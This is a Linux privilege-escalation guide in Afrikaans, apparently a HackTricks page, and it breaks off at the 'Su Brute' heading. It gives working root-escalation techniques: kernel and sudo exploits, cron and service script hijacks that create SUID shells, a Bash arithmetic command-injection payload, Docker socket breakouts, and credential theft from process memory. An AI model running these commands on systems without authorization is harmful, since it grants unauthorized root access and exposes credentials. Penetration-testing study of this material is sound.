Linux Privilege Escalation

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Sisteeminligting

OS-inligting

Kom ons begin om inligting oor die betrokke OS te versamel.

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

As jy skryfregte op enige gids binne die PATH veranderlike het, kan jy dalk sommige libraries of binaries kaap:

echo $PATH

Env-inligting

Interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes?

(env || set) 2>/dev/null

Kernel exploits

Kontroleer die kernel-weergawe en of daar ’n exploit is wat gebruik kan word om escalate privileges

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Jy kan ’n goeie lys van kwesbare kernel-weergawes en sommige reeds compiled exploits hier vind: https://github.com/lucyoa/kernel-exploits en exploitdb sploits.
Ander webwerwe waar jy sommige compiled exploits kan vind: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Om al die kwesbare kernel-weergawes vanaf daardie webwerf te onttrek, kan jy:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Gereedskap wat kan help om na kernel exploits te soek, is:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (uitvoer OP slagoffer, kontroleer slegs exploits vir kernel 2.x)

Soek altyd jou kernel-weergawe op Google, dalk word jou kernel-weergawe in ’n kernel exploit genoem en sal jy seker wees dat dié exploit geldig is.

Additional kernel exploitation technique:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo-weergawe

Gebaseer op die kwesbare sudo-weergawes wat verskyn in:

searchsploit sudo

Jy kan nagaan of die sudo-weergawe kwesbaar is deur hierdie grep te gebruik.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Sudo versions before 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) laat nie-bevoorregte plaaslike gebruikers toe om hul voorregte na root te eskaleer via die sudo --chroot opsie wanneer die /etc/nsswitch.conf file vanaf ’n directory wat deur die gebruiker beheer word gebruik word.

Hier is ’n PoC om daardie vulnerability te exploit. Voordat jy die exploit uitvoer, maak seker dat jou sudo-weergawe vulnerable is en dat dit die chroot-funksie ondersteun.

Vir meer inligting, verwys na die oorspronklike vulnerability advisory

sudo < v1.8.28

Van @sickrov

sudo -u#-1 /bin/bash

Dmesg handtekeningverifikasie het misluk

Kyk na smasher2 box of HTB vir ’n voorbeeld van hoe hierdie vuln could be exploited

dmesg 2>/dev/null | grep "signature"

Meer system enumeration

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Lys moontlike verdedigings

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

As jy binne ’n docker container is, kan jy probeer daaruit te ontsnap:

Docker Security

Skywe

Kontroleer what is mounted and unmounted, waar en waarom. As iets unmounted is, kan jy probeer om dit te mount en na privaat inligting te kyk.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Nuttige sagteware

Lys nuttige binaries

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Kyk ook of enige kompiler geïnstalleer is. Dit is nuttig as jy ’n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien te kompileer waar jy dit gaan gebruik (of op ’n soortgelyke).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Geïnstalleerde kwesbare sagteware

Kyk na die weergawe van die geïnstalleerde pakkette en dienste. Miskien is daar ’n ou Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word om escalating privileges te verkry…
Dit word aanbeveel om die weergawe van die meer verdagte geïnstalleerde sagteware handmatig na te gaan.

dpkg -l #Debian
rpm -qa #Centos

If you have SSH access to the machine you could also use openVAS to check for outdated and vulnerable software installed inside the machine.

[!NOTE] > Let daarop dat hierdie opdragte baie inligting sal toon wat meestal nutteloos sal wees, daarom word toepassings soos OpenVAS of soortgelyke aanbeveel wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits

Processes

Kyk na watter prosesse uitgevoer word en kontroleer of enige proses meer bevoegdhede het as wat dit behoort te hê (miskien ’n tomcat wat deur root uitgevoer word?)

ps aux
ps -ef
top -n 1

Kontroleer altyd of daar moontlike electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas identifiseer dit deur die --inspect parameter in die opdragreël van die proses na te gaan.
Kontroleer ook jou privileges oor die proses se binaries, dalk kan jy iemand se binaries oorskryf.

Prosesmonitering

Jy kan gereedskap soos pspy gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer ’n stel vereistes vervul is.

Prosesgeheue

Sommige dienste op ’n bediener stoor credentials in clear text inside the memory.
Gewoonlik sal jy root privileges nodig hê om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.
Onthou egter dat as ’n gewone gebruiker jy die geheue van die prosesse wat jy besit kan lees.

Warning

Neem kennis dat deesdae die meeste masjiene nie ptrace standaard toelaat nie, wat beteken dat jy nie ander prosesse wat aan jou onbevoorregte gebruiker behoort kan dump nie.

Die lêer /proc/sys/kernel/yama/ptrace_scope beheer die toeganklikheid van ptrace:

• kernel.yama.ptrace_scope = 0: alle prosesse kan gedebugeer word, solank hulle dieselfde uid het. Dit is die klassieke wyse waarop ptracing gewerk het.
• kernel.yama.ptrace_scope = 1: slegs ’n ouerproses kan gedebugeer word.
• kernel.yama.ptrace_scope = 2: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE-bevoegdheid vereis.
• kernel.yama.ptrace_scope = 3: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is ’n herbegin nodig om ptracing weer moontlik te maak.

GDB

Indien jy toegang tot die geheue van ’n FTP-diens het (byvoorbeeld) kan jy die Heap kry en daarin na sy credentials soek.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Skrip

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Vir ’n gegewe proses-ID, maps wys hoe geheue binne daardie proses se virtuele adresruimte gekarteer is; dit toon ook die toestemmings van elke gekarteerde streek. Die mem pseudo-lêer blootstel die proses se eie geheue. Uit die maps-lêer weet ons watter geheuegebiede leesbaar is en hul offsets. Ons gebruik hierdie inligting om seek into the mem file and dump all readable regions na ’n lêer.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem bied toegang tot die stelsel se fisiese geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan met /dev/kmem bereik word.
Tipies is /dev/mem slegs leesbaar deur root en die kmem groep.

strings /dev/mem -n10 | grep -i PASS

ProcDump for linux

ProcDump is ’n Linux-herontwerp van die klassieke ProcDump-gereedskap uit die Sysinternals-suite van gereedskap vir Windows. Kry dit by https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Gereedskap

Om ’n proses se geheue te dump kan jy gebruik:

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Jy kan die root-vereistes handmatig verwyder en die proses wat aan jou behoort dump
• Script A.5 van https://www.delaat.net/rp/2016-2017/p97/report.pdf (root is benodig)

Aanmeldbewyse uit prosesgeheue

Handmatige voorbeeld

As jy agterkom dat die authenticator-proses aan die gang is:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Jy kan die process dump (sien vorige afdelings om verskillende maniere te vind om die memory van ’n process te dump) en na credentials in die memory soek:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Die hulpmiddel https://github.com/huntergregal/mimipenguin sal duidelike teks-inlogbesonderhede uit die geheue steel en van sommige bekende lêers. Dit vereis root-voorregte om behoorlik te werk.

Soek Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Scheduled/Cron jobs

Crontab UI (alseambusher) running as root – web-gebaseerde skeduleerder privesc

As ’n web “Crontab UI” paneel (alseambusher/crontab-ui) as root loop en slegs aan loopback gebind is, kan jy steeds daarby uitkom via SSH local port-forwarding en ’n geprivilegieerde job skep om te eskaleer.

Tipiese reeks stappe

• Ontdek ’n loopback-only poort (bv., 127.0.0.1:8000) en die Basic-Auth realm met ss -ntlp / curl -v localhost:8000
• Vind credentials in operasionele artefakte:
• Backups/skripte met zip -P <password>
• systemd-eenheid wat Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..." blootstel
• Maak ’n tunnel en teken aan:

ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate

• Skep ’n high-priv job en voer dit onmiddellik uit (gee ’n SUID shell):

# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell

• Gebruik dit:

/tmp/rootshell -p   # root shell

Verharding

• Moet nie Crontab UI as root laat loop nie; beperk dit tot ’n toegewyde gebruiker met minimale permissies
• Bind aan localhost en beperk toegang verder via firewall/VPN; hergebruik nie wagwoorde nie
• Vermy om geheime in unit files in te sluit; gebruik secret stores of ’n root-only EnvironmentFile
• Skakel audit/logging in vir on-demand job-uitvoerings

Kontroleer of enige geskeduleerde taak kwesbaar is. Miskien kan jy voordeel trek uit ’n skrip wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die gids wat root gebruik?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron-pad

Byvoorbeeld, binne /etc/crontab kan jy die PATH vind: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Let op hoe die gebruiker “user” skryfregte het oor /home/user)

As binne hierdie crontab die root user probeer om ’n opdrag of skrip uit te voer sonder om die PATH te stel. Byvoorbeeld: * * * * root overwrite.sh
Dan kan jy ’n root shell kry deur te gebruik:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron using a script with a wildcard (Wildcard Injection)

As ’n script wat deur root uitgevoer word ’n “*” in ’n command bevat, kan jy dit uitbuit om onverwagte dinge te doen (soos privesc). Voorbeeld:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

As die wildcard voorafgegaan word deur ’n pad soos /some/path/* , is dit nie kwesbaar nie (selfs ./* is nie).

Lees die volgende bladsy vir meer wildcard-uitbuitingstrieke:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash voer parameter expansion en command substitution uit voordat arithmetic evaluation in ((…)), $((…)) en let geskied. As ’n root cron/parser onbetroubare log-velde lees en dit in ’n arithmetic context invoer, kan ’n aanvaller ’n command substitution $(…) injekteer wat as root uitgevoer word wanneer die cron loop.

• Waarom dit werk: In Bash gebeur expansions in hierdie volgorde: parameter/variable expansion, command substitution, arithmetic expansion, dan word splitting en pathname expansion. Dus word ’n waarde soos $(/bin/bash -c 'id > /tmp/pwn')0 eers vervang (die opdrag word uitgevoer), en dan word die oorblywende numeriese 0 vir die arithmetic gebruik sodat die skrip sonder foute voortgaan.

• Tipiese kwesbare patroon:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log

• Exploitation: Kry attacker-controlled teks geskryf in die geparsde log sodat die numeries-lykende veld ’n command substitution bevat en op ’n syfer eindig. Maak seker jou opdrag druk nie na stdout nie (of herlei dit) sodat die arithmetic geldig bly.

# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Cron script overwriting and symlink

As jy kan wysig ’n cron script wat deur root uitgevoer word, kan jy baie maklik ’n shell kry:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Indien die script wat deur root uitgevoer word ’n directory where you have full access gebruik, kan dit dalk nuttig wees om daardie folder te verwyder en create a symlink folder to another one te skep wat ’n script wat deur jou beheer word bedien.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Gereelde cron-take

Jy kan prosesse monitor om prosesse te soek wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy dit uitbuit en escalate privileges.

Byvoorbeeld, om elke 0.1s vir 1 minuut te monitor, te sorteer volgens die minste uitgevoerde opdragte en die opdragte wat die meeste uitgevoer is te verwyder, kan jy dit doen:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Jy kan ook gebruik pspy (dit sal elke proses wat begin, monitor en lys).

Onsigbare cron jobs

Dit is moontlik om ’n cronjob te skep deur ’n carriage return ná ’n kommentaar te plaas (sonder ’n newline-karakter), en die cronjob sal werk. Voorbeeld (let op die carriage return-karakter):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Dienste

Skryfbare .service lêers

Kyk of jy enige .service lêer kan skryf, as jy dit kan, kan jy dit wysig sodat dit jou backdoor uitvoer wanneer die diens gestart, herbegin of gestop word (miskien sal jy moet wag totdat die masjien herbegin).
Byvoorbeeld, skep jou backdoor binne die .service lêer met ExecStart=/tmp/script.sh

Skryfbare diens-binaire

Onthou dat as jy skryfpermissies oor binaries wat deur dienste uitgevoer word het, jy hulle vir backdoors kan vervang sodat wanneer die dienste weer uitgevoer word, die backdoors ook uitgevoer sal word.

systemd PATH - Relatiewe paaie

Jy kan die PATH wat deur systemd gebruik word sien met:

systemctl show-environment

As jy vind dat jy in enige van die vouers van die pad kan skryf, mag jy moontlik escalate privileges. Jy moet soek na relative paths being used on service configurations lêers soos:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Skep dan ’n uitvoerbare met dieselfde naam as die relatiewe pad na die binêre binne die systemd PATH-lêergids wat jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie (Start, Stop, Reload) uit te voer, sal jou backdoor uitgevoer word (nie-geprivilegieerde gebruikers kan gewoonlik nie dienste begin/stop nie, maar kyk of jy sudo -l kan gebruik).

Leer meer oor dienste met man systemd.service.

Timers

Timers is systemd-eenheidslêers waarvan die naam eindig op **.timer** wat **.service**-lêers of gebeure beheer. Timers kan as ’n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning vir kalender-tydgebeure en monotoonse tydgebeure het en asynchroon uitgevoer kan word.

Jy kan al die timers opnoem met:

systemctl list-timers --all

Skryfbare timers

As jy ’n timer kan wysig, kan jy dit ’n bestaande systemd.unit laat uitvoer (soos ’n .service of ’n .target).

Unit=backdoor.service

In die dokumentasie kan jy lees wat die Unit is:

Die Unit wat geaktiveer moet word wanneer hierdie timer verstryk. Die argument is ’n unit-naam, waarvan die agtervoegsel nie “.timer” is nie. As dit nie gespesifiseer word nie, gaan hierdie waarde standaard na ’n service wat dieselfde naam as die timer unit het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die unit-naam wat geaktiveer word en die unit-naam van die timer unit identies benoem word, behalwe vir die agtervoegsel.

Dus, om hierdie toestemming te misbruik sal jy moet:

• Vind ’n systemd unit (soos ’n .service) wat ’n skryfbare binary uitvoer
• Vind ’n systemd unit wat ’n relatiewe pad uitvoer en jy het skryfregte oor die systemd PATH (om daardie executable te imiteer)

Leer meer oor timers met man systemd.timer.

Timer Aktivering

Om ’n timer te aktiveer het jy root-voorregte nodig en moet jy die volgende uitvoer:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) enable process communication on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through .socket files.

Sockets can be configured using .socket files.

Learn more about sockets with man systemd.socket. Inside this file, several interesting parameters can be configured:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: These options are different but a summary is used to indicate where it is going to listen to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
• Accept: Takes a boolean argument. If true, a service instance is spawned for each incoming connection and only the connection socket is passed to it. If false, all listening sockets themselves are passed to the started service unit, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. For performance reasons, it is recommended to write new daemons only in a way that is suitable for Accept=no.
• ExecStartPre, ExecStartPost: Takes one or more command lines, which are executed before or after the listening sockets/FIFOs are created and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
• ExecStopPre, ExecStopPost: Additional commands that are executed before or after the listening sockets/FIFOs are closed and removed, respectively.
• Service: Specifies the service unit name to activate on incoming traffic. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.

Writable .socket files

If you find a writable .socket file you can add at the beginning of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted.
Note that the system must be using that socket file configuration or the backdoor won’t be executed

Writable sockets

If you identify any writable socket (now we are talking about Unix Sockets and not about the config .socket files), then you can communicate with that socket and maybe exploit a vulnerability.

Enumerate Unix Sockets

netstat -a -p --unix

Rou verbinding

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

Socket Command Injection

HTTP sockets

Let wel dat daar moontlik sommige sockets listening for HTTP requests is (Ek praat nie van .socket files nie, maar van die lêers wat as unix sockets optree). Jy kan dit kontroleer met:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

As die socket op ’n HTTP-versoek reageer, kan jy met dit kommunikeer en moontlik ’n kwesbaarheid uitbuit.

Skryfbare Docker-socket

Die Docker-socket, dikwels gevind by /var/run/docker.sock, is ’n kritieke lêer wat beveilig moet word. Per verstek is dit skryfbaar deur die root gebruiker en lede van die docker groep. Om skryf-toegang tot hierdie socket te hê, kan lei tot privilege escalation. Hier is ’n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.

Privilege Escalation with Docker CLI

As jy skryf-toegang tot die Docker-socket het, kan jy escalate privileges deur die volgende opdragte te gebruik:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Hierdie opdragte laat jou toe om ’n container met root-vlak toegang tot die host se lêerstelsel te hardloop.

Gebruik die Docker API Direk

In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket steeds gemanipuleer word deur die Docker API en curl-opdragte.

1. List Docker Images: Haal die lys beskikbare images op.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

2. Create a Container: Stuur ’n versoek om ’n container te skep wat die host-stelsel se root-gids mount.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Begin die pas geskepte container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

3. Attach to the Container: Gebruik socat om ’n verbinding met die container te maak, sodat jy opdragte daarin kan uitvoer.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Nadat jy die socat-verbinding ingestel het, kan jy opdragte direk in die container uitvoer met root-vlak toegang tot die host se lêerstelsel.

Ander

Let wel: as jy skryfregte oor die docker socket het omdat jy binne die groep docker is, het jy more ways to escalate privileges. If the docker API is listening in a port you can also be able to compromise it.

Check more ways to break out from docker or abuse it to escalate privileges in:

Docker Security

Containerd (ctr) privilege escalation

If you find that you can use the ctr command read the following page as you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

If you find that you can use the runc command read the following page as you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus is ’n gesofistikeerde inter-Process Communication (IPC) system wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit ’n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie.

Die stelsel is veelsydig, en ondersteun basiese IPC wat die data-uitruil tussen prosesse verbeter, soortgelyk aan enhanced UNIX domain sockets. Verder help dit met die uitstuuring van gebeurtenisse of seine, wat naatlose integrasie tussen stelselsegmente bevorder. Byvoorbeeld, ’n sein van ’n Bluetooth daemon oor ’n inkomende oproep kan ’n musiekspeler mute, wat die gebruikerservaring verbeter. Boonop ondersteun D-Bus ’n remote object system, wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig en prosesse wat tradisioneel kompleks was, stroomlyn.

D-Bus werk op ’n allow/deny-model, wat boodskappermitte (method calls, signal emissions, etc.) bestuur gebaseer op die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus en kan moontlik privilege escalation toelaat deur die uitbuiting van hierdie permissies.

’n Voorbeeld van so ’n beleid in /etc/dbus-1/system.d/wpa_supplicant.conf word verskaf, wat toestemming beskryf vir die root gebruiker om te besit, te stuur na, en boodskappe te ontvang vanaf fi.w1.wpa_supplicant1.

Beleide sonder ’n gespesifiseerde gebruiker of groep geld universeel, terwyl “default” kontekst-beleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Leer hoe om enumerate en exploit ’n D-Bus communication hier:

D-Bus Enumeration & Command Injection Privilege Escalation

Netwerk

Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien uit te vind.

Algemene enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Oop poorte

Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy voorheen nie kon kommunikeer nie:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Kontroleer of jy traffic kan sniff. As jy dit kan, kan jy dalk sekere credentials verkry.

timeout 1 tcpdump

Gebruikers

Generiese Enumerasie

Kontroleer wie jy is, watter privileges jy het, watter users in die stelsels is, watter daarvan kan login en watter daarvan het root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Groot UID

Sommige Linux-weergawes is deur ’n fout geraak wat gebruikers met UID > INT_MAX in staat stel om bevoegdhede te eskaleer. Meer inligting: here, here and here.
Benut dit met: systemd-run -t /bin/bash

Groepe

Kyk of jy ’n lid van ’n groep is wat jou root-bevoegdhede kan verleen:

Interesting Groups - Linux Privesc

Klembord

Kyk of daar iets interessant in die klembord is (indien moontlik)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Wagwoordbeleid

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Bekende wagwoorde

As jy enige wagwoord van die omgewing ken probeer by elke gebruiker aanmeld met daardie wagwoord.

Su Brute

